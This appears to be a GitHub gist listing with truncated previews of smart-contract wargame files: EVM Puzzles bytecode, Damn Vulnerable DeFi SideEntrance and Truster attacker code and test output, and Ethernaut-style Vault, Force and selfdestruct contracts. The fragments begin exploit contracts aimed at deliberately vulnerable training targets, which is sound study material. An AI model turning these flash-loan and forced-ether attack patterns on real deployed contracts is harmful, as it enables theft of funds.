This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
############ | |
# Puzzle 5 # | |
############ | |
00 34 CALLVALUE | |
01 80 DUP1 | |
02 02 MUL | |
03 610100 PUSH2 0100 | |
06 14 EQ | |
07 600C PUSH1 0C |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
➜ damn-vulnerable-defi-foundry git:(master) ✗ make SideEntrance | |
forge test --match-test testExploit --match-contract SideEntrance | |
[⠰] Compiling... | |
[⠆] Compiling 1 files with 0.8.17 | |
[⠔] Solc 0.8.17 finished in 868.43ms | |
Compiler run successful | |
Running 1 test for test/Levels/side-entrance/SideEntrance.t.sol:SideEntrance | |
[PASS] testExploit() (gas: 276503) | |
Logs: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity >=0.8.0; | |
import {Utilities} from "../../utils/Utilities.sol"; | |
import "forge-std/Test.sol"; | |
import {SideEntranceLenderPool} from "../../../src/Contracts/side-entrance/SideEntranceLenderPool.sol"; | |
import {Address} from "openzeppelin-contracts/utils/Address.sol"; | |
contract SideAttack { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.17; | |
import {Address} from "openzeppelin-contracts/utils/Address.sol"; | |
interface IFlashLoanEtherReceiver { | |
function execute() external payable; | |
} | |
/** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
➜ evm-puzzles git:(master) ✗ npx hardhat play | |
############ | |
# Puzzle 4 # | |
############ | |
00 34 CALLVALUE | |
01 38 CODESIZE | |
02 18 XOR | |
03 56 JUMP | |
04 FD REVERT |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
➜ evm-puzzles git:(master) ✗ npx hardhat play | |
############ | |
# Puzzle 3 # | |
############ | |
00 36 CALLDATASIZE | |
01 56 JUMP | |
02 FD REVERT | |
03 FD REVERT | |
04 5B JUMPDEST |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Vault { | |
bool public locked; | |
bytes32 private password; | |
constructor(bytes32 _password) { | |
locked = true; | |
password = _password; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Destruct { | |
constructor() payable { | |
} | |
function destroy(address apocalypse) public { | |
selfdestruct(payable(apocalypse)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Force {/* | |
MEOW ? | |
/\_/\ / | |
____/ o o \ | |
/~____ =ø= / | |
(______)__m_m) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it('Execution', async function () { | |
/** CODE YOUR SOLUTION HERE */ | |
const TrusterAttacker = await ethers.getContractFactory('TrusterAttacker', player); | |
attack = await TrusterAttacker.deploy(pool.address,token.address); | |
await attack.connect(player).fakeLoan() | |
}); |
NewerOlder